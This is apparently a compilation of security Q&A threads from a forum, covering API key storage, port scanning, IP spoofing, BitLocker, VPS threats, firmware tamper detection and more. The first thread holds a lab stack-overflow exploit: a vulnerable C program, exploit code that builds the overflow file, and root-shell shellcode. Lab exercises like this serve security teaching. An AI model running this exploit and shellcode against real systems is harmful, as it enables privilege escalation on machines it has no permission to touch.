BufferOverflow attack Segment Fault I'm trying to exploit simple stack overflow vulnerability. But I have trouble writing the exploit.c file. After getting the stack pointer using __asm__("movl %esp, %eax"), I put the address and shellcode in the buffer.

This is stack.c file:

int bof(char *str)

char buffer[24];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

return 1;

int main(int argc, char **argv)

char str[517];
FILE *badfile;

badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);

printf("Returned Properly\n");
return 1;

Below is my current exploit.c file. I have two VM with the same setup using SEED Ubuntu. I run the same file on both machines. The first give me regular shell, another one returns "seg fault". But the root shell is what I want.

char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
char *ptr = buffer;
long *addr_ptr, addr;
int offset = 0x80;
int i;

addr = get_sp_addr() + offset;
addr_ptr = (long*)(ptr);

//printf("addr: %x\n", addr);

for (i = 0; i < 10; i++) {
  *(addr_ptr++) = addr;
}

for (i = 0; i < strlen(shellcode); i++) {
  buffer[517 - (sizeof(shellcode) + 1) + i] = shellcode[i];
}

// Null terminate the shellcode
buffer[sizeof(buffer)-1] = '\0';

// printf("%s\n", buffer);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);

Shellcode defined in the exploit.c file is:

char shellcode[]=
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x31\xdb" /* Line 2: xorl %ebx,%ebx */
"\xb0\xd5" /* Line 3: movb $0xd5,%al */
"\xcd\x80" /* Line 4: int $0x80 */
"\x31\xc0"             /* xorl    %eax,%eax              */
"\x50"                 /* pushl   %eax                   */
"\x68""//sh"           /* pushl   $0x68732f2f            */
"\x68""/bin"           /* pushl   $0x6e69622f            */
"\x89\xe3"             /* movl    %esp,%ebx              */
"\x50"                 /* pushl   %eax                   */
"\x53"                 /* pushl   %ebx                   */
"\x89\xe1"             /* movl    %esp,%ecx              */
"\x99"                 /* cdq                            */
"\xb0\x0b"             /* movb    $0x0b,%al              */
"\xcd\x80"             /* int     $0x80                  */
;

I got it. Reset the machine and rewrote the code (find the address through gdb instead). It works now. Thanks everyone.


How do I securely store a API key in a PC program? I have a PC program which uses a API. I have the API key stored in the code, because there is no other way I can think of. Since I have no code/string obfuscator, how do I secure the API key, so no one can steal it?

Put simply, there is no bulletproof way of concealing a string if it is being made available on the client-side.

Maybe instead of giving the user access to the API key, make the client contact your own server and perform API requests from there, if you do this then you will be able to limit unauthorised use of your API key.


What configuration will allow another computer in the internet to probe my computer's ports? I've just tested my computer with Gibson's port scan test:

The test results stated that my system is "uncommon". It also said that my computer deliberately chose not to return. But I did not do any settings with my computer so I was wondering what is the reason that the probing tests had passed?

Or rather, what settings do I have to do to my computer to allow the probing tests to fail?

==Windows Vista Home Premium sp2

According to ye olde standards, a computer would respond to every connection attempt with, typically, one of three responses:

Application banner indicating that a service is listening and which service
ICMP Port Unreachable - indicates that nothing is exists on this port
ICMP Administratively Prohibited - indicates that your system is not allowed to access this port

By those rules of etiquette, one would expect firewalls to respond with the 3rd kind of message. However, nowadays one typically expects firewalls to drop packets without sending a response. This is what Gibson is referring to as "stealth mode".

Unfortunately, the Shield's Up website is fairly dated. The advice and analysis makes assumptions based on the late 1990's Internet. At that time it may have been a reasonable assessment, these days I wouldn't give it much credence.

A host based firewall has been included and enabled since Windows XP SP2. So, whether you realize it or not, you do have a firewall running. However, the more likely culprit is your home router. Those require special configuration, called port forwarding, to pass unsolicited traffic from the Internet to your computer.


Why do ISPs allow faked source IP addresses? Ok so apparently you can specify a source IP when doing a SYN request or something.  Besides just asking why in the world that would even be allowed, I will move past that because I want to understand how these things work, like SYN floods.

When a packet of any kind enters a WAN, the service provider knows where the IP came from when it hits the edge router/gateway.  I would think.  I mean without needing to read packet info.  They've got the MAC of the modem or know the interface of the line etc.

So it hits their gateway, and somehow SYNs with fake IPs are allowed to continue their journey?

Why?  Of all things that are possible but cause issues, this seems most needless to me. Is there no encapsulation that happens along the way to record the actual origin IP to the target address?

If not, why not?  Is there some logistical issue that makes this unfeasible?

As stated in RFC3013, section 4.3, this is currently a best practice for ISPs. The RFC also states that this may not be possible in some cases, where the hardware cannot take the additional load.

This remains only a best practice and can hardly be enforced for all ISPs, so some might not do it at all as it does require some extra configuration. Encapsulation to indicate the originating IP certainly doesn't happen along the way, as some customers may have multiple IPs assigned to them (companies mainly), so it is up to the customer to choose which source IP he uses.


What is the use of TPM-based Bitlocker if the drive gets decrypted automatically? I am using Bitlocker which uses a TPM to unlock the drive. My question is, although TPM provides security against tampering, how is it useful in defending against attacks that involve physical access? An attacker can just power on the computer and then he can carry out other attacks such as cold boot or DMA-based attacks to extract the key. The ideal solution is to use Bitlocker with a PIN, right?

As with any security measure, this reduces the risk, it doesn't eliminate it.

With no TPM, an attacker with physical access can just grab the disk, walk away and read the data at their leisure. If the disk is encrypted with a key in a TPM, the attacker needs to walk away with the whole computer (or at least pull out the RAM and store it safely, to try a RAM remanence attack which isn't fully reliable).

This makes no difference if the attacker has uncontrolled physical access, but it makes a difference if the attacker has limited access, e.g. they're walking around in an office environment or in a coffeeshop and are observed. In such circumstances, it can be very easy to grab a removable drive, it takes less than a minute with a screwdriver to extract a hard disk, whereas extracting RAM tends to require a bit more time and walking away with the whole PC is less discreet.

If the attacker has full physical access, you've lost anyway, though a tamper-resistant TPM plus a PIN to unlock the key can make things hard for the attacker if the machine is powered down before they reach it. Basically, whoever has physical access to the computer owns the computer — but that's only true for unfettered physical access, not in more restricted scenarios. In some scenarios, partial protection is useful.

Use of a TPM-based key should be combined with secure boot, refusing to unlock the drive if not booting the pristine operating system from that drive, so that someone walking past can't just reboot onto their USB stick. It should also be combined with memory wiping at boot time (at least if the last power cycle was not ended cleanly) to prevent cold boot attacks.


Assuming malicious admin, what threats does a dedicated server mitigate vs VPS? We host several dedicated servers and VPS instances containing sensitive data with 3rd party hosting providers. We understand we have to trust the providers as they have full control of the hardware, root on the VPS hosts and IPMI access to the dedicated servers. We mitigate the risk by encrypting the disks and installing our own builds from scratch.

However assuming the threat is a malicious admin attempting to;

gain once off unauthorised access to the data stored on disk
install a backdoor to continually monitor server activities and data

What vulnerabilities exist in a VPS that could not be so easily exploited with a dedicated server?

With a VPS, the virtualization layer allows malicious admins to take a complete snapshot of the server (storage and RAM together) and inspect it at will; the nature of the snapshot is that you would not notice it. The equivalent in a dedicated server would entail one of the following:

Switching off the server, take a complete copy of the disk, reboot.
Install spying hardware directly within the machine (e.g. to make inspection of RAM).
Add some spying software in the operating system (again from direct access to the disk on the rebooted machine).

All these imply at least a shutdown/reboot, that you may notice -- unless the spying hardware had been there since day 1, of course.

Disk encryption won't actually help you much. Either the machine can reboot alone -- in which case a snapshot of the disk would be perfectly able to boot in, say, a VM; or you have to type in a decryption password whenever your server boots, which is both inconvenient, and vulnerable to eavesdropping from the malicious admin.

All of this requires taking some explicit actions that may not go unnoticed. A motivated attacker won't be deterred, and will plan a phony "reboot for electrical maintenance" to get your machine down for some minutes without you panicking. What dedicated hardware protects you against, as opposed to a VPS, is casual indelicacies from subaltern admins / interns.

(One may argue that having your own hardware also protects you against side-channel attacks from other customers at the same hosting service. Cross-VM side-channel attacks have been demonstrated in lab conditions, so whether they could be pulled off in the wild is an open question.)


Evaluating the Entropy of the PRNG in OpenSSL I've have a question on the PRNG in OpenSSL.

I would like to understand how do you evaluate the diversity/entropy of the PRNG used in the OpenSSL (Cryptographic Library).

If this is the wrong forum, do point me to the right one.

Thank you.

Although there are no guarantees, there are mathematical safety-measures against poor keys due to inappropriate random number generators. You could for example try some nice software tools to test the statistical entropy that your generator puts out:

Dieharder
TestU01

These tools come with a large number of statistical tests, but as RFC 4086 states:

  Statistically tested randomness in the traditional sense is NOT the same as the unpredictability required for security use.

Then it lists some acceptable sources and algorithms for generating entropy, but never provides a way to verify output, perhaps insinuating that that is not possible to test unpredictability.

That said, RFC 4086 was published in 2005, TestU01 has received updates until in 2009, and Dieharder was still active in 2013. Since the text was published, the differences between Shannon- (traditional) and minimum- (crypto) entropy have been kept into consideration by all serious cryptographers, so although I haven't tried these packages myself, they will in all likelyhood account for this in their tests. They are also both recommended by the NIST, even when they took down their own statistical tests.


How can I hide a DAO or ADODB connection string in a Word document or template? MS Word documents have a Visual Basic component that allows processes to be executed when specified events occur.

One of these events is Document_New(), that can be used like this to pop up a "UserForm" that is also part of the Word document:

Private Sub Document_New()
    Dim myForm As UserForm1
    Set myForm = New UserForm1
    myForm.Show
End Sub

The UserForm looks just like a VB6 or MS Access form and various controls can be added to collect input from the user. In this case a "Submit" button would be place that has an OnClick()  event that accesses the database and returns a recordset used in the document/template.

The code behind can run SQL queries on a SQL server usinging either a DAO or ADODB object model.

The goal is to run some SQL query or stored procedure that returns the data needed for the Word Document. This can all be done with code and there are a million examples and ways to do this.

However... The connection string for the ODBC driver or the ADODB connection leaves the servername/username/password visible to whomever has access to the Word document or template (i.e. user opens document/template in Word and looks at the VB code and now can connect and do anything to the database tables).

How can I create this functionality but not allow the connection string properties to be visible to someone using the document/template?

If it was a VB6 application, it could be compiled. But this is just a Word document or template and not compileable.

I don't believe that the "Encrypted" functionality applies here. That just encrypts data across the network. Connection string properties are still visible to the prying eye.

Configure the database to use Windows authentication, then add IntegratedSecurity=true to the connection string.  This will have the connection use the logged-in user's authority to connect to the database.

This protects you in several ways.  As you require, no user/password is kept in the connection string.

Another way this protects you is that it's the user's authority that connects to the database, not some Word document.  That is important because the authority shouldn't travel around hidden inside a document.  The user controls their own authority.

Finally, if you're using Active Directory, you can use AD group membership to fine-tune the access to the database, ensuring only approved group members can use the Word document to access the database at whatever levels you desire.


Can live bootable usb be infected by malware on hard disk? I have an old hard disk which I think has every kind of malware on it, maybe even MBR malware. It is also possible that there is malware for Linux on it too, because the disk is a dual boot Windows XP - Ubuntu.

I want to completely wipe this disk to use it as secondary hard disk. I tried dban to do it but it gives me an error when I start the wipe. So I'm going to wipe the disk from an Ubuntu live USB with the command dd if=/dev/zero of=/dev/sda. However I'm not sure if there is a possibility that some malware on the hard disk can infect the live version of Ubuntu. I think it is impossible since the PC will boot from the USB and any code on the hard disk won't be executed. Am I right?

Correct. Any kind of malware can't be running if you boot from USB stick. Of course I suppose you are using different PC with different motherboard than that one the HDD was plugged to before. Moreover, I can hardly imagine it would run under linux if it is Windows mallware ;)

Edit:
what is strange to me, the error you've got when you tried to DD it under debian...


What MySQL information should be kept secret? I'm writing an open-source program interfacing with a protected MySQL server. I'd like to keep the development environment as close to the production environment as possible. Variables that must be kept secure are passed in via environment variables. Otherwise they are posted to the world.

Which of the following connection parameters should I secure and why?

Database name
Server username
Server user password
Hostname

Username and password are the bare minimum secrets.

Hostname and database name are convenient to have in environment variables so they can be easily changed in response to changes in the production environment.

If the mysql server is exposed to the internet, the ip/hostname might give a would be attacker of your site an interesting clue. Having mysql listen to the internet is a bad practice though, and trying to keep the ip a secret does little to help.


Risk Assessment Methodology ISO 27001 I would like to apply ISO 27001 best practices for a company that has not completed its final online architecture yet and it is still under development phase. However, they pretty much know which technologies/systems (mainly on cloud) to be used but connections between several pieces is not finalised, as well as several security related implementations like WAF etc. Just to note everything is on cloud hosted by a cloud provider that is already ISO27001 certified for all services it provides.

The question is that if it is ok to apply risk methodology based on asset-threats-vulnerabilities and complete the required documents as suggested by several ISO27001 toolkits. This methodology is still valid for ISO 27001 and it is straightforward to apply, but obviously, this is going to be entirely qualitatively, in a sense that no penetration testing can be applied to uncover potential technical vulnerabilities and the development is not final to perform code reviews. Additionally, this risk methodology is based on the asset inventory which undergoes daily changes.

Is it ok to proceed in this way for ISO certification for a snapshot of the existing asset inventory that includes many of the deployed assets?

Yes it is OK to proceed this way for ISO certification. The standard requires that risk assessments are performed at regular intervals or when significant changes occur. Your certification auditor may put it to you that changes to your asset inventory constitute significant change. The Statement of Applicability is based on the risk assessment. The word Applicability is key. What applies now. This may change several times based on, as you say, changing assets or penetration testing. I hope that helps. Good luck!


Understanding SSL Cipher suite in Apache On reading the documentation Apache documentation. A cipher suite example has been given :

RC4-SHA:AES128-SHA:HIGH:MEDIUM:!aNULL:!MD5

I have understood the explanation given by them. My question is whether it decides the order of the cipher suite ?

Meaning : RC4-SHA ciphers has been given top priority? Or a cipher which is obtained by matching all the ciphers given ?

Can someone clearly explain what it means?

Yes, the order of Apache's SSLCipherSuite indicates the preferred order.  To quote the link you've provided (emphasis mine),

  Now where this becomes interesting is that these can be put together
  to specify the order and ciphers you wish to use

During the TLS handshake, the client presents its cipher suite, and then the server will select the appropriate cipher to use, as dictated by the SSLHonorCipherOrder.  If off (the default), then the server will consider each cipher in Server suite order and use the first cipher which is also present in the Client suite.  If on, then the server will consider each cipher in the Client suite order and use the first cipher which is also present in the Server suite.  (Thanks to @steffen-ullrich for correcting me on that detail).

Because SSLCipherSuite accepts aliases that map to more than one cipher (e.g., "HIGH", "MEDIUM", "!MD5") you can see the actual server cipher order that results from the SSLCipherSuite string using openssl ciphers:

$ openssl ciphers 'RC4-SHA:AES128-SHA:HIGH:MEDIUM:!aNULL:!MD5'
RC4-SHA:AES128-SHA:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:SRP-DSS-AES-256-CBC-SHA:SRP-RSA-AES-256-CBC-SHA:SRP-AES-256-CBC-SHA:DH-DSS-AES256-GCM-SHA384:DHE-DSS-AES256-GCM-SHA384:DH-RSA-AES256-GCM-SHA384:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA256:DH-RSA-AES256-SHA256:DH-DSS-AES256-SHA256:DHE-RSA-AES256-SHA:DHE-DSS-AES256-SHA:DH-RSA-AES256-SHA:DH-DSS-AES256-SHA:DHE-RSA-CAMELLIA256-SHA:DHE-DSS-CAMELLIA256-SHA:DH-RSA-CAMELLIA256-SHA:DH-DSS-CAMELLIA256-SHA:ECDH-RSA-AES256-GCM-SHA384:ECDH-ECDSA-AES256-GCM-SHA384:ECDH-RSA-AES256-SHA384:ECDH-ECDSA-AES256-SHA384:ECDH-RSA-AES256-SHA:ECDH-ECDSA-AES256-SHA:AES256-GCM-SHA384:AES256-SHA256:AES256-SHA:CAMELLIA256-SHA:PSK-AES256-CBC-SHA:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:SRP-DSS-AES-128-CBC-SHA:SRP-RSA-AES-128-CBC-SHA:SRP-AES-128-CBC-SHA:DH-DSS-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:DH-RSA-AES128-GCM-SHA256:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES128-SHA256:DHE-DSS-AES128-SHA256:DH-RSA-AES128-SHA256:DH-DSS-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA:DH-RSA-AES128-SHA:DH-DSS-AES128-SHA:DHE-RSA-CAMELLIA128-SHA:DHE-DSS-CAMELLIA128-SHA:DH-RSA-CAMELLIA128-SHA:DH-DSS-CAMELLIA128-SHA:ECDH-RSA-AES128-GCM-SHA256:ECDH-ECDSA-AES128-GCM-SHA256:ECDH-RSA-AES128-SHA256:ECDH-ECDSA-AES128-SHA256:ECDH-RSA-AES128-SHA:ECDH-ECDSA-AES128-SHA:AES128-GCM-SHA256:AES128-SHA256:CAMELLIA128-SHA:PSK-AES128-CBC-SHA:DHE-RSA-SEED-SHA:DHE-DSS-SEED-SHA:DH-RSA-SEED-SHA:DH-DSS-SEED-SHA:SEED-SHA:ECDHE-RSA-RC4-SHA:ECDHE-ECDSA-RC4-SHA:ECDH-RSA-RC4-SHA:ECDH-ECDSA-RC4-SHA:PSK-RC4-SHA:ECDHE-RSA-DES-CBC3-SHA:ECDHE-ECDSA-DES-CBC3-SHA:SRP-DSS-3DES-EDE-CBC-SHA:SRP-RSA-3DES-EDE-CBC-SHA:SRP-3DES-EDE-CBC-SHA:EDH-RSA-DES-CBC3-SHA:EDH-DSS-DES-CBC3-SHA:DH-RSA-DES-CBC3-SHA:DH-DSS-DES-CBC3-SHA:ECDH-RSA-DES-CBC3-SHA:ECDH-ECDSA-DES-CBC3-SHA:DES-CBC3-SHA:PSK-3DES-EDE-CBC-SHA


Do Social Network Mobile Apps Track Your Browsing? Facebook are known to track you even after you have logged out of your Facebook account. With mobile apps being given permission to access so much information on the devices, is it possible for Facebook or other social networks to track your browsing through the permissions given to the apps? In other words, lets say you have never logged into Facebook on your device and put their cookies on your device, but you have their app. Can their app track you too?

Absolutely. Apps employ ad networks which are shared among different websites that share the same ad network (AdClick as an example). The ad network installs cookie on the system which gets shared between websites you visit and share the same ad network. That is, your unique cookie gets tossed around, which helps track your movement across the web.


Relative merits of Heimdal and MIT Kerberos? What are the relative advantages of Heimdal and MIT Kerberos now MIT is freely exportable?
Ones I've come across so far that might be relevant to my particular project is that it seems MIT supports constrained delegation in the GSS-API layer and Heimdal doesn't yet, and that Heimdal has a --with-openssl config option that makes it easy to use a version of OpenSSL other than the system default. Either can be worked around.
I've found mailing list comments suggesting that Heimdal's thread safety is better, but they are fairly dated.

In my case, part of the answer turns out to be "Heimdal's kadmin supports adding constrained delegation attributes, MIT doesn't support constrained delegation with the default backend and requires you to modify the LDAP database directly if you use the LDAP backend".

I'd still be interested in learning of other people's opinions or experiences.


Can manual hash verification defend against a DH MITM attack? I understand how DH key exchange is vulnerable to a MITM attack.

When Alice sends Bob g, p and her public key, if she also sent a value H that was a hashing of the values g,p, and public key all concatenated together, could she and Bob then have a phone call where they verify that H is the same value for both of them, and then be confident that they each have the same values for g, p, and the public key?

I realize that the main point of DH key exchange is so that anonymous parties can exchange a key and that a manual step like this in some ways completely misses the point of DH key exchange.

Still, would this work?

Alice would not have to send the hash value over the wire; instead, Bob must recompute the hash value on his side, based on the values he received, and then compare the hash value with an authoritative source (the phone call).

This works. It is easy to see if we consider it in two steps:

In the presence of Diffie-Hellman, a Man-in-the-Middle attack requires the attacker to put his own DH public key in lieu of that from Alice or Bob (a MitM is a double-impersonation, so the attacker must do the substitution twice). It suffices for Bob to "make sure" that what he received is indeed what Alice sent to detect such a substitution. Bob can phone Alice and spell out, over the phone line, the DH public key he received (which includes the DH group parameters p and g, and the actual DH public key from Alice ga mod p).
Instead of spelling out the three big integers (that would be more than 1500 hexadecimal characters), Alice and Bob can simply use the hash of the values. As long as the hash function is second-preimage resistant, verifying the hash value is as good as verifying the complete public key.

This method is exactly what happens with SSH. The first time you connect to an hitherto unknown SSH server, you get something like this:

The authenticity of host 'foo.example.com (42.17.131.8)' can't be established.
RSA key fingerprint is 45:77:d0:f0:b1:76:ce:cf:14:60:e4:89:54:20:c5:3d.
Are you sure you want to continue connecting (yes/no)?

At this point, you are supposed to phone the sysadmin of the intended server to check the hash value (or check it against some any other authoritative source, which depends on the context). This is exactly what you suggest. The SSH client then records the public key from the server, so that no such question is needed for subsequent connections.


what should be done to use sodium in a secure way? Now, I've done some research by googling about the subject and reading the manual and read
other topics about this at stackoverflow.

But still I have a question about the security and secrecy behind the encryption extenstion called sodium.

I use the script in this topic as example:
https://stackoverflow.com/questions/34477643/how-to-encrypt-decrypt-aes-with-libsodium-php/34477811

In the example are 2 user developed php functions used for encrypting and decrypting.

It encrypts, but if a hacker wants to decrypt the encrypted string it basically can also use
$key = random_bytes(SODIUM_CRYPTO_SECRETBOX_KEYBYTES); to decrypt a string. (or the whole decrypt function in the example)

To me this seems easy for a villain to decrypt. (like if I upload a script at a server and people
spy there, how safe is it then? Or when people at their own local servers at home try to decrypt
the encrypted messages )

But I'm an absolute noob about this , so I would like to  understand why it is difficult for a third person to know the decrypted message, and how sodium is used in a secure way?

I would also like to know if the example above is the only way sodium works or if it is more secure to modify the example ?

General Advice

Know if you need to use libsodium at all! Usually, TLS for encryption in transit is enough, but it depends on your use-case. Make sure that you know what is required of your solution and which algorithms are designed to fill these use-cases. (A good example of what not to do is to encrypt something with AES-CBC and believe this means the data can't be modified.)

Secondly, stick to the recipe! With cryptography, it's easy to get things wrong, even if everything seems to work fine.

Finally, have your code audited by a professional auditor. The ability to do so naturally depends on the scope of your project. If it's a hobby project, then it's not necessary to do that, unless having heaps of money laying around is a problem you want to solve.

Securing your Keys

The problem you indicated in your question is that you are unsure how secure the key-material is. In an example, you stated that if an attacker has access to the script that performs the encryption, they could just steal the key and thus decrypt your data. This is correct, which is why you need to implement proper key management.

Doing that is easier said than done, and proper key management could fill books. The extremely simplified version is that keys need to be generated and then stored, until they are finally rolled over and then either archived or destroyed.

If your code is just $key = random_bytes(SODIUM_CRYPTO_SECRETBOX_KEYBYTES);, what you are doing is literally generating a new key on every call. This might be what you want, but it could also not be what you want. Perhaps you will use that key as a DEK and encrypt it with a public key, or you will send it to the user, or do any number of things with it. Perhaps you would rather derive that key from a password that the user has inputted. You have to know these things beforehand, and make sure you use the right cryptographic primitives.

Securing your Server

It's vitally important that you secure whichever platform you use to store your keys. If an attacker can gain access to the server that runs your crypto, then you can pack up and go home, because the game is over. It is absolutely vital to ensure that an attacker has no way of running their code on your servers, or has any other way to get even a hint at the key material you use.

If you, for instance, store your keys in a 32-byte wide database field, and an attacker can read out your database, then all keys have been leaked.

To Summarize

Crypto is hard, so the less of it that you need to do yourself, the better. Check if you actually need to write crypto-code yourself. If not, don't do it.

Read up on key management, and make sure you have strategies on what to do if things go wrong.

Secure your server, because if it's compromised, you have lost.


How secure is Heads for detecting tampering or infection of firmware or boot sector? (Pureboot) I'm thinking of getting a Librem laptop with Pureboot which uses Heads (with the Librem key) for tamper detection. But I've heard rumours that there are weaknesses or vulnerabilities so I wanted to see if anyone here knows about it. For me, I'm thinking of dual booting Qubes and Manjaro. I want to use Heads to verify no one tampered with my laptops firmware and to detect if my firmware or boot sector gets infected with malware. Is Heads able to do what I'm hoping to use it for? And are there any known vulnerabilities or weaknesses I should know about?

It depends on your threat model.
If an attacker has physical access to your computer, they can replace the flash ROM with a chip that has the content of your original firmware when it is read by Intel's ACM for measurement but will provide different instructions when it is later re-read by the CPU for booting.
They can also replace the TPM with a tempered one, they could resign the file in /boot and ultimately they can also take your phone/USB dongle from you and install a fresh version of Heads that boots whatever they want.
Or they could grab the TOPT secret from memory and flash a totally different firmware that emulates Heads.
(The TOPT check is the real security part of the Heads boot process).
If you are scared of boot malwares, Heads will protect you, but so will Tboot or just UEFI secure boot.
It is true that UEFI implementations may have bugs but malwares don't usually target the UEFI, when they do it is just for a small set of hardware and just to drop a file in the Windows partition, and anyway the malware would have to be written to target you and the small subset of people with your hardware.
A lot of work, for nothing, considering that the same could be accomplished with 15 min on your Facebook page and a carefully crafted email.
When you hear of a boot malware the story is always inflated by the media and in truth, the malware only works for specific victims that were already compromised (since writing the EFI System Partition or the flash ROM requires kernel privileges).
Firmware is not portable and it is so low-level that makes successfully infecting the target more unreliable.
Regarding vulnerabilities and weaknesses, always make sure to check the OTP, it is the only way to know that your firmware is actually Heads and it is genuine.
If your computer is taken away, Heads won't protect you.
I don't know if there are vulnerabilities on Heads, Heads is still young but relatively simple. I hope they didn't do gross mistakes like not measuring everything involved in the boot.
A weakness point of Heads is updating, if you update a file in /boot Heads will tell you but will also allow you to resign it and be done with it.
I expect Heads to update itself only from signed files.
Always encrypt your disk as that would require a key or your booted OS to access your data.
Never suspend your laptop.
It's worth noting that if you use an OS that's not Windows, you'll be immune to the vast majority of malwares already and probably to all the few malwares that bothered infecting the UEFI just because.
However, if your plan is to fool government agents at borders, it's better to leave your computer at home, push everything you need in an encrypted container somewhere on the Internet and buy a local computer and install new firmware on it (if you are paranoid).
There have been sporadic cases of mass malwares that additionally infected the UEFI ROM in misconfigured hardwares but that was just an optional step of the infection chain.
Any actor that intends to use the UEFI to specifically attack you can also attack you in other, simpler and more effective, ways.
In short, it seems to me that, unless you are a highly sensitive target and a highly trained individual, Heads is just a fun project to do and definitively not worth the effort for defending against UEFI malwares.
Don't try to beat malwares on the technical level, malwares are not a masterpiece of technology. They are pretty dumb, they are social-engineered artifact.
One day you receive a document from a lost love of your youth, you open it and you get infected. The malware won't even try to gain more privileges or install itself, it will read your browser's files (which belong to your user, so it can do that) steal your data and encrypt it.
Now they have your password, your identities, and the only cleartext copy of your data.
But at least Heads prevented them from installing a malicious UEFI DXE!
Mandatory XKCD.


Is it possible to "hack" an email account so that the emails always go to Spam? I have a friend who is something of a public figure within a small sphere. She has been an object of negative attention recently in this sphere and has noticed that her emails are suddenly all going directly into the Spam folders of all her recipients. This holds true even amongst recipients on different emails services, and she has been using this email address for years without any problems.
I ask her to send an email to Mail Tester and you can see the results here (10/10 for email quality). She uses a very well known email hosting solution with a custom domain name. According to a source, she heard that apparently someone somewhere did something so that her emails would get sent to Spam.
For a particular email provider, I could sort of understand how this could work (imagine someone malicious working on the inside at Google), but I can't see how this could be the case otherwise. It's even stranger considering that some of her recipients have added her address to their whitelist and clicked on the "Not spam" button several times (in Gmail for example).
Is what my friend fears possible? If so, how?

Let's suppose your friend has the email jdoe@example.com.
If someone sent a lot of spam claiming to be jdoe@example.com, or even just another user e.g. jane@example.com, the anti-spam systems could conclude that “emails from jdoe@example.com / emails from example.com are likely to be spam” then affecting the legitimate mails from your friend. Somewhat similar could in theory happen as well if many people which were receiving their mails were now marking them as spam.
However, in theory this shouldn't really affect much. If your friend system has SPF and DKIM configured (which she has configured, right?), the reputation of those presumed bad emails impersonating her should be accounted separately from her real mails.
It would be quite different if her account/server was compromised, as then the bad emails would indeed "belong" to example.com.
Note however that the mail filtering engines used by the big providers are really complex, with lots of factors, and not even them know why their system takes certain actions. The fact that their are now no longer in the inbox may be completely unrelated to that negative attention. As mentioned, it may be a problem related to spam going out with their domain, but it could as well be due to someone else sending spam form an ip address not far from her server, and that affecting her mail score.
There are also fluctuations in how these systems consider mails, even with apparently no reason. If her mails were already near the line, a relatively small factor could have pushed them to the spam box. Although, given that it happened on all providers at the same time, it's likely there's some external factor driving it, even if unrelated to any of her doing. There might have been some recent configuration change on her server that affected how her emails are perceived by the systems.
Even for people working on mail deliverability, it can be hard to figure out why suddenly mails may have changed into going to spam.


Faking a certificate check flow between 2 applications? i was wondering,
let's say i have an executable A, which verifies a certificate in assembly B.

Assembly B is signed with root ca trusted certificate.

what denies me from taking executable A, change it and skip the certificate check of B?

i guess executable A needs to be signed aswell, but what happens if it's not? or what happens if i take also executable A, and signs it with my own malicious self signed certificate?

thanks

Quis custodiet ipsos custodes

In the case where one party is an executable and the other is a certificate, it is not possible to assure mutual verification - hence if A validates B and you need C to validate A.

If we were simply talking about 2 certificates, then mutual authentication is possible as signatures can be added to the entity without changing the signed part. Unfortunately x509 only permits a single signature on a certificate, and given that the trust model isn't really designed to work in this way, there may be complications with the tools to this approach (since at least one signing will require to be done with an unsigned certificate).

But I digress from the problem asked.

  A needs to be signed aswell

But for this to to have any value, the signature on A needs to be checked - hence C. And how do you validate 'C' - it's turtles all the way down.

...or at least till the point where it is out of your control, be that because you are constrained by the permissions configured by the admin or the trusted keys in UEFI or a root Certificate Authority (this does not mean that that your admins or hardware vendors or Certificate Authorities are implicitly trustworthy though).

It may be worth noting here that public PGP keys can have multiple signatories which, interestingly, would allow the OS to (within some limitations) validate the hardware as well as the hardware validating the boot OS in a Secure boot - but sadly "Secure boot" uses x509.


Suspiscious HTTP request to nginx server in server log, what is it? I have an nginx server running an instance of and express/nodejs server.

I was going through the logs to see what was being requested, and I noticed a few normal attempts for common flaws in things like word press, but what has me concerned is:

66.249.79.129 - - [17/Aug/2018:02:54:32 +0000] "GET / HTTP/1.1" 200 209 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.79.158 - - [17/Aug/2018:02:54:36 +0000] "GET /stylesheets/style.css HTTP/1.1" 200 111 "https://www.fullstackking.com/" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Safari/537.36"
